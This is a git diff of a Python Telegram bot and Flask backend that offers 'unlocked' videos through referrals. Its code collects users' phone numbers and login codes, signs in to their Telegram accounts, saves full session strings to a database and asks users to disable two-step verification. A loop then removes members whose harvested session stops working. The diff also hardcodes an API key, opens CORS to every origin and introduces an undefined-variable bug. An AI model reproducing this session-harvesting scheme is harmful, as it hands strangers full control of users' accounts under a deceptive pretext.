Update app.py

app.py

@@ -1,11 +1,12 @@
 import os
 import time
-import queue  # thread-safe queue ইম্পোর্ট করা হলো
+import queue
 import threading
 import requests
 import asyncio
 import re
 import urllib3
+import subprocess
 from flask import Flask, jsonify, make_response, request, Response
 from supabase import create_client
 from pyrogram import Client, filters, enums, idle, utils  
@@ -36,12 +37,9 @@ SUPABASE_KEY = os.environ.get("SUPABASE_KEY")
 BYSE_API_KEY = os.environ.get("BYSE_API_KEY", "133323knboif885fhgwxvf")
 
 PREMIUM_CHANNEL_ID = -1002825744390
-STORAGE_CHANNEL_ID = -1002825744390  # যে চ্যানেলে ভিডিও স্টোর হবে
+STORAGE_CHANNEL_ID = -1002825744390  
 
-# আপনার Hugging Face স্পেসের ডিরেক্ট ইউআরএল
 BACKEND_URL = os.environ.get("BACKEND_URL", "https://mxvdo-forwardbot.hf.space")
-
-# WebApp URL (index.html)
 WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html" 
 ADMIN_IDS = [7307789267]
 
@@ -50,8 +48,13 @@ supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
 admin_states = {}
 temp_clients = {}
 
-# ডিফল্ট আপলোড সার্ভার মোড (Telegram)
 upload_mode = "telegram"
+ffmpeg_available = True
+try:
+    subprocess.run(["ffmpeg", "-version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+except FileNotFoundError:
+    ffmpeg_available = False
+    print("⚠️ FFmpeg is not installed on this server! Video processing functions (blur, watermark) will be skipped safely.")
 
 try:
     main_loop = asyncio.get_running_loop()
@@ -68,71 +71,64 @@ bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BO
 async def db_query(func):
     return await asyncio.to_thread(func)
 
+# ==================== CORS MIDDLEWARES ====================
+@app.before_request
+def handle_options():
+    if request.method == 'OPTIONS':
+        return make_response()
+
+@app.after_request
+def add_cors_headers(response):
+    response.headers['Access-Control-Allow-Origin'] = '*'
+    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS, PUT, DELETE'
+    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization, apikey'
+    return response
+
 # ==================== UNIVERSAL MEDIA HELPER ====================
 def get_media_obj(msg):
-    """মেসেজ থেকে মিডিয়া অবজেক্ট (ভিডিও, জিআইএফ, ডকুমেন্ট) খুঁজে বের করার ফাংশন"""
-    if not msg:
-        return None
-    if msg.video:
-        return msg.video
-    if msg.animation:
-        return msg.animation
-    if msg.document:
-        return msg.document
-    if msg.audio:
-        return msg.audio
+    if not msg: return None
+    if msg.video: return msg.video
+    if msg.animation: return msg.animation
+    if msg.document: return msg.document
+    if msg.audio: return msg.audio
     return None
 
 def get_msg_file_id(msg):
-    """মেসেজ থেকে ক্র্যাশ-ফ্রি file_id বের করার ফাংশন"""
-    if not msg:
-        return None
-    if msg.photo:
-        return msg.photo.file_id
+    if not msg: return None
+    if msg.photo: return msg.photo.file_id
     media = get_media_obj(msg)
-    if media:
-        return media.file_id
+    if media: return media.file_id
     return None
-# ================================================================
 
 # ==================== CUSTOM VIDEO STREAMING ENGINE ====================
 def get_file_stream(message_id):
-    """টেলিগ্রামের স্টোরেজ চ্যানেল থেকে মেইন ইভেন্ট লুপে থ্রেড-সেফ কিউ ব্যবহার করে ডাটা স্ট্রিম করার ফাংশন"""
-    q = queue.Queue(maxsize=10)  # মেমোরি নিয়ন্ত্রণে রাখার জন্য সর্বোচ্চ সাইজ ১০ রাখা হয়েছে
+    q = queue.Queue(maxsize=10)
 
     async def producer():
         try:
+            if not bot.is_connected: await bot.connect()
             msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
             media = get_media_obj(msg)
             if not media:
                 await asyncio.to_thread(q.put, None)
                 return
-            
-            # ডাটা রিড করে থ্রেড-সেফ কিউ-তে রাখা হচ্ছে
-            async for chunk in bot.stream_media(media):
+            async for chunk in bot.stream_media(msg):
                 await asyncio.to_thread(q.put, chunk)
         except Exception as e:
             print(f"Error in stream producer: {e}")
         finally:
-            await asyncio.to_thread(q.put, None)  # স্ট্রিম শেষ হওয়ার সিগন্যাল
+            await asyncio.to_thread(q.put, None)
 
-    # প্রোডিউসারটিকে বটের নিজে�� মেইন ইভেন্ট লুপে রান করানো হলো
     asyncio.run_coroutine_threadsafe(producer(), main_loop)
 
-    # ফ্লাস্কের জন্য সিনক্রোনাস কন্সুমার জেনারেটর
     def consumer():
         try:
             while True:
-                try:
-                    # সর্বোচ্চ ১৫ সেকেন্ড অপেক্ষা করবে
-                    chunk = q.get(timeout=15)
-                except queue.Empty:
-                    break
-                if chunk is None:
-                    break
+                try: chunk = q.get(timeout=15)
+                except queue.Empty: break
+                if chunk is None: break
                 yield chunk
         except GeneratorExit:
-            # ইউজার যদি মাঝপথে ব্রাউজার ট্যাব কেটে দেয়
             while not q.empty():
                 try: q.get_nowait()
                 except: break
@@ -141,9 +137,9 @@ def get_file_stream(message_id):
 
 @app.route('/stream/<int:message_id>')
 def stream_video(message_id):
-    """অনলাইনে প্লেয়ারে ভিডিও/জিআইএফ দেখার লিংক"""
     try:
         async def get_media_info():
+            if not bot.is_connected: await bot.connect()
             msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
             media = get_media_obj(msg)
             if media:
@@ -166,9 +162,9 @@ def stream_video(message_id):
 
 @app.route('/download/<int:message_id>')
 def download_video(message_id):
-    """সরাসরি ওয়ান-ক্লিকে ডাউনলোড করার লিংক"""
     try:
         async def get_media_info():
+            if not bot.is_connected: await bot.connect()
             msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
             media = get_media_obj(msg)
             if media:
@@ -186,7 +182,6 @@ def download_video(message_id):
         return response
     except Exception as e:
         return f"Error: {e}", 500
-# =======================================================================
 
 # ================= FLASK API ROUTES =================
 @app.route('/')
@@ -202,9 +197,7 @@ def jump_to_telegram():
         <title>Redirecting...</title>
         <script>
             window.location.href = "tg://openmessage?user_id=777000";
-            setTimeout(function() {
-                window.close();
-            }, 500);
+            setTimeout(function() { window.close(); }, 500);
         </script>
     </head>
     <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
@@ -217,25 +210,16 @@ def jump_to_telegram():
     """
     return make_response(html_content)
 
-def add_cors_headers(response):
-    response.headers['Access-Control-Allow-Origin'] = '*'
-    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
-    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
-    return response
-
 @app.route('/api/videos')
 def api_videos():
     try:
         res = supabase.table('videos').select('*').order('id', desc=True).execute()
-        return add_cors_headers(make_response(jsonify(res.data)))
+        return jsonify(res.data)
     except Exception as e:
-        return add_cors_headers(make_response(jsonify([])))
+        return jsonify([])
 
-@app.route('/api/check_login', methods=['POST', 'OPTIONS'])
+@app.route('/api/check_login', methods=['POST'])
 def api_check_login():
-    if request.method == 'OPTIONS':
-        return add_cors_headers(make_response())
-    
     data = request.json or {}
     user_id = data.get('user_id')
     
@@ -258,21 +242,18 @@ def api_check_login():
 
     try:
         result = run_async(check_user())
-        return add_cors_headers(make_response(jsonify(result)))
+        return jsonify(result)
     except Exception as e:
-        return add_cors_headers(make_response(jsonify({"status": "error"})))
+        return jsonify({"status": "error"})
 
-@app.route('/api/send_code', methods=['POST', 'OPTIONS'])
+@app.route('/api/send_code', methods=['POST'])
 def api_send_code():
-    if request.method == 'OPTIONS':
-        return add_cors_headers(make_response())
-    
     data = request.json or {}
     phone = data.get('phone')
     user_id = data.get('user_id')
     
     if not user_id or str(user_id) == '123456':
-        return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
+        return jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})
     
     async def process_send_code():
         if phone in temp_clients:
@@ -285,27 +266,25 @@ def api_send_code():
             temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash}
             return {"status": "ok", "hash": code_info.phone_code_hash}
         except Exception as e:
-            await client.disconnect()
+            try: await client.disconnect()
+            except: pass
             return {"status": "error", "msg": str(e)}
 
     try:
         result = run_async(process_send_code())
-        return add_cors_headers(make_response(jsonify(result)))
+        return jsonify(result)
     except Exception as e:
-        return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
+        return jsonify({"status": "error", "msg": str(e)})
 
-@app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
+@app.route('/api/verify_code', methods=['POST'])
 def api_verify_code():
-    if request.method == 'OPTIONS':
-        return add_cors_headers(make_response())
-        
     data = request.json or {}
     phone = data.get('phone')
     user_otp = data.get('otp')
     user_id = data.get('user_id')
     
     if phone not in temp_clients:
-        return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Session expired, request code again!"})))
+        return jsonify({"status": "error", "msg": "Session expired, request code again!"})
 
     async def process_verify():
         temp_data = temp_clients[phone]
@@ -315,32 +294,36 @@ def api_verify_code():
         try:
             await client.sign_in(phone, phone_hash, user_otp)
             session_string = await client.export_session_string()
-            await client.disconnect()
+            try: await client.disconnect()
+            except: pass
             
             await db_query(lambda: supabase.table('user_sessions').insert({"user_id": user_id, "session_string": session_string}).execute())
-            del temp_clients[phone]
+            if phone in temp_clients: del temp_clients[phone]
             return {"status": "ok"}
             
         except SessionPasswordNeeded:
-            await client.disconnect()
-            del temp_clients[phone]
+            try: await client.disconnect()
+            except: pass
+            if phone in temp_clients: del temp_clients[phone]
             return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
         except PhoneCodeInvalid:
             return {"status": "error", "msg": "Invalid OTP Code!"}
         except PhoneCodeExpired:
-            await client.disconnect()
-            del temp_clients[phone]
+            try: await client.disconnect()
+            except: pass
+            if phone in temp_clients: del temp_clients[phone]
             return {"status": "error", "msg": "OTP Expired! Request again."}
         except Exception as e:
-            await client.disconnect()
-            del temp_clients[phone]
+            try: await client.disconnect()
+            except: pass
+            if phone in temp_clients: del temp_clients[phone]
             return {"status": "error", "msg": str(e)}
 
     try:
         result = run_async(process_verify())
-        return add_cors_headers(make_response(jsonify(result)))
+        return jsonify(result)
     except Exception as e:
-        return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
+        return jsonify({"status": "error", "msg": str(e)})
 
 # ================= TELEGRAM BOT COMMANDS =================
 @bot.on_message(filters.command("start"))
@@ -367,18 +350,21 @@ async def start(client, message):
         user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
         
         if not user_check.data: 
-            await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
-            if referrer_id and referrer_id != user_id:
-                ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
-                if ref_data.data:
-                    new_count = ref_data.data[0]['referral_count'] + 1
-                    await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
-                    try:
-                        safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
-                        success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
-                        markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
-                        await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
-                    except Exception: pass
+            try:
+                await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
+                if referrer_id and referrer_id != user_id:
+                    ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
+                    if ref_data.data:
+                        new_count = ref_data.data[0]['referral_count'] + 1
+                        await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
+                        try:
+                            safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
+                            success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
+                            markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
+                            await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
+                        except Exception: pass
+            except Exception as db_err:
+                print(f"Error handling referral DB entry: {db_err}")
 
         bot_me = client.me if client.me else await client.get_me()
         markup = InlineKeyboardMarkup([
@@ -425,13 +411,11 @@ async def send_to_specific_group(client, message):
     try:
         group_id = int(args[1])
         status = await message.reply("⏳ Sending message to group...")
-        
         await message.reply_to_message.copy(chat_id=group_id)
         await status.edit_text(f"✅ <b>Successfully sent to Group ID:</b> <code>{group_id}</code>", parse_mode=enums.ParseMode.HTML)
     except Exception as e:
         await status.edit_text(f"❌ <b>Failed to send!</b>\nError: {e}", parse_mode=enums.ParseMode.HTML)
 
-# ================= DATABASE PROGRESS-BASED CLONING =================
 async def save_progress(source_id, dest_id, msg_id):
     try:
         res = await db_query(lambda: supabase.table('clone_progress').select('id').eq('source_id', source_id).eq('dest_id', dest_id).execute())
@@ -555,7 +539,6 @@ async def start_cloning(client, message):
     status_msg = await message.reply("⏳ Initializing cloning task...", parse_mode=enums.ParseMode.HTML)
     asyncio.create_task(clone_videos_background(client, source_id, dest_id, status_msg))
 
-# ================= NEW: SET UPLOAD SERVER MODE =================
 @bot.on_message(filters.command("upload") & filters.private & filters.user(ADMIN_IDS))
 async def set_upload_mode(client, message):
     global upload_mode
@@ -572,7 +555,6 @@ async def set_upload_mode(client, message):
             await message.reply("❌ <b>Invalid server!</b> Use `/upload telegram` or `/upload byse`.")
     else:
         await message.reply(f"📌 <b>Current Upload Server:</b> <code>{upload_mode.upper()}</code>\n\nTo change, use:\n👉 `/upload telegram` (Storage Channel Stream)\n👉 `/upload byse` (Byse.sx third-party player)")
-# ===============================================================
 
 @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
 async def set_blur_state(client, message):
@@ -613,8 +595,7 @@ def upload_file_sync(upload_url, file_path, api_key):
         with open(file_path, 'rb') as f:
             res = requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900)
             return res.json() if res.status_code == 200 else {}
-    except Exception as e:
-        return {}
+    except Exception: return {}
 
 @bot.on_message((filters.video | filters.animation | filters.photo | filters.document) & filters.private & filters.user(ADMIN_IDS))
 async def handle_media_upload(client, message):
@@ -662,7 +643,7 @@ async def handle_media_upload(client, message):
     if blur_match:
         is_blur = True
         blur_percent = int(blur_match.group(1))
-        clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
+        clear_percent = int(blur_match.group(2)) if match.group(2) else 0
         clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
     elif state.get("blur_percent"):
         is_blur = True
@@ -697,14 +678,13 @@ async def handle_media_upload(client, message):
                 percent = (current / total) * 100
                 await status_msg.edit_text(f"⏳ Downloading media... {percent:.1f}%")
                 last_update_time = now
-            except Exception:
-                pass
+            except Exception: pass
     
     try:
         original_file = await message.download(progress=download_progress)
         clean_upload_file = original_file 
         
-        if media_type == "video" and not is_large_video:
+        if media_type == "video" and not is_large_video and ffmpeg_available:
             await status_msg.edit_text("⏳ Watermarking video... (HD + Superfast Processing)")
             watermarked_file = f"{original_file}_wm.mp4"
             
@@ -729,11 +709,13 @@ async def handle_media_upload(client, message):
             if upload_mode == "telegram":
                 await status_msg.edit_text("⏳ Uploading Clean HD video to your storage channel...")
                 
-                thumb_path_storage = f"{original_file}_storage_thumb.jpg"
-                proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", clean_upload_file, "-vframes", "1", thumb_path_storage, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
-                await proc.communicate()
-                if not os.path.exists(thumb_path_storage): 
-                    thumb_path_storage = None
+                thumb_path_storage = None
+                if ffmpeg_available:
+                    thumb_path_storage = f"{original_file}_storage_thumb.jpg"
+                    proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", clean_upload_file, "-vframes", "1", thumb_path_storage, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
+                    await proc.communicate()
+                    if not os.path.exists(thumb_path_storage): 
+                        thumb_path_storage = None
                     
                 media = get_media_obj(message)
                 vid_duration = media.duration if media and hasattr(media, 'duration') and media.duration else 0
@@ -785,7 +767,7 @@ async def handle_media_upload(client, message):
             return  
 
         telegram_file = clean_upload_file
-        if is_blur and not is_large_video:
+        if is_blur and not is_large_video and ffmpeg_available:
             await status_msg.edit_text(f"⏳ Applying {blur_percent}% blur for Telegram broadcast...")
             radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
             ext = "jpg" if media_type == "photo" else "mp4"
@@ -828,7 +810,7 @@ async def handle_media_upload(client, message):
         )
         
         thumb_path = None
-        if media_type == "video":
+        if media_type == "video" and ffmpeg_available:
             thumb_path = f"{original_file}_thumb.jpg"
             proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", telegram_file, "-vframes", "1", thumb_path, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
             await proc.communicate()
@@ -859,7 +841,6 @@ async def handle_media_upload(client, message):
             
         await status_msg.delete()
         
-        # ================= FloodWait Handler for Broadcast =================
         groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
         group_ids = [g['group_id'] for g in groups_res.data]
         success_count, fail_count = 0, 0
@@ -876,14 +857,14 @@ async def handle_media_upload(client, message):
                     if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
                     else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
                     success_count += 1
-                except Exception:
-                    fail_count += 1
-            except Exception: 
-                fail_count += 1 
+                except Exception: fail_count += 1
+            except Exception: fail_count += 1 
                 
         await message.reply(f"📢 <b>Broadcast Complete!</b>\n\n✅ Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
         
-    except Exception as e: await message.reply(f"⚠️ Error occurred: {str(e)}")
+    except Exception as e: 
+        try: await message.reply(f"⚠️ Error occurred: {str(e)}")
+        except: pass
     finally:
         for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None, f"{original_file}_storage_thumb.jpg" if original_file else None]:
             if f and os.path.exists(f):
@@ -908,8 +889,7 @@ async def process_broadcast(client, message):
     text = message.text or message.caption
     if text == '/cancel':
         admin_states.pop(message.chat.id, None)
-        await message.reply("❌ Cancelled.")
-        return
+        return await message.reply("❌ Cancelled.")
     
     await message.reply("⏳ Broadcast started...")
     admin_states.pop(message.chat.id, None)
@@ -944,21 +924,17 @@ async def manual_clean_channel(client, message):
     await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking database users to verify active sessions. This might take a while.")
     try:
         kicked, checked = 0, 0
-        
         res_users = await db_query(lambda: supabase.table('referrals').select('user_id').execute())
         if not res_users.data:
-            await message.reply("❌ No users found in database!")
-            return
+            return await message.reply("❌ No users found in database!")
             
         user_ids = [u['user_id'] for u in res_users.data]
         
         for user_id in set(user_ids):
             try:
                 chat_member = await bot.get_chat_member(PREMIUM_CHANNEL_ID, user_id)
-                
                 if chat_member.status in [enums.ChatMemberStatus.MEMBER, enums.ChatMemberStatus.RESTRICTED]:
                     checked += 1
-                    
                     res_session = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
                     
                     is_valid = False
@@ -989,8 +965,7 @@ async def manual_clean_channel(client, message):
                 await asyncio.sleep(1.5) 
             except FloodWait as e:
                 await asyncio.sleep(e.value + 1)
-            except Exception:
-                pass
+            except Exception: pass
             
         await message.reply(f"✅ <b>Cleanup Complete!</b>\n\n👥 Members checked: {checked}\n👢 Users Kicked: {kicked}")
     except Exception as e:
@@ -1031,18 +1006,13 @@ async def auto_clean_channel_loop():
                                 try:
                                     await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
                                     await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
-                                except Exception:
-                                    pass
-                                    
+                                except Exception: pass
                         await asyncio.sleep(2)
-                        
                     except FloodWait as e:
                         await asyncio.sleep(e.value + 1)
-                    except Exception:
-                        pass
+                    except Exception: pass
         except Exception as e:
             print(f"Auto clean error: {e}")
-        
         await asyncio.sleep(4 * 3600) 
 
 @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean", "sendto", "clone", "upload"]))
@@ -1066,11 +1036,17 @@ async def catch_admin_steps(client, message):
 def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)), threaded=True) 
 
 async def main():
-    await bot.start()
-    print("🤖 Pyrogram Bot & Real Session API is running!")
-    asyncio.create_task(auto_clean_channel_loop())
-    await idle()
-    await bot.stop()
+    try:
+        await bot.start()
+        print("🤖 Pyrogram Bot & Real Session API is running!")
+        asyncio.create_task(auto_clean_channel_loop())
+        await idle()
+    except Exception as e:
+        print(f"❌ Failed to start Bot: {e}")
+        while True: await asyncio.sleep(3600)
+    finally:
+        try: await bot.stop()
+        except: pass
 
 if __name__ == "__main__":
     threading.Thread(target=run_flask, daemon=True).start()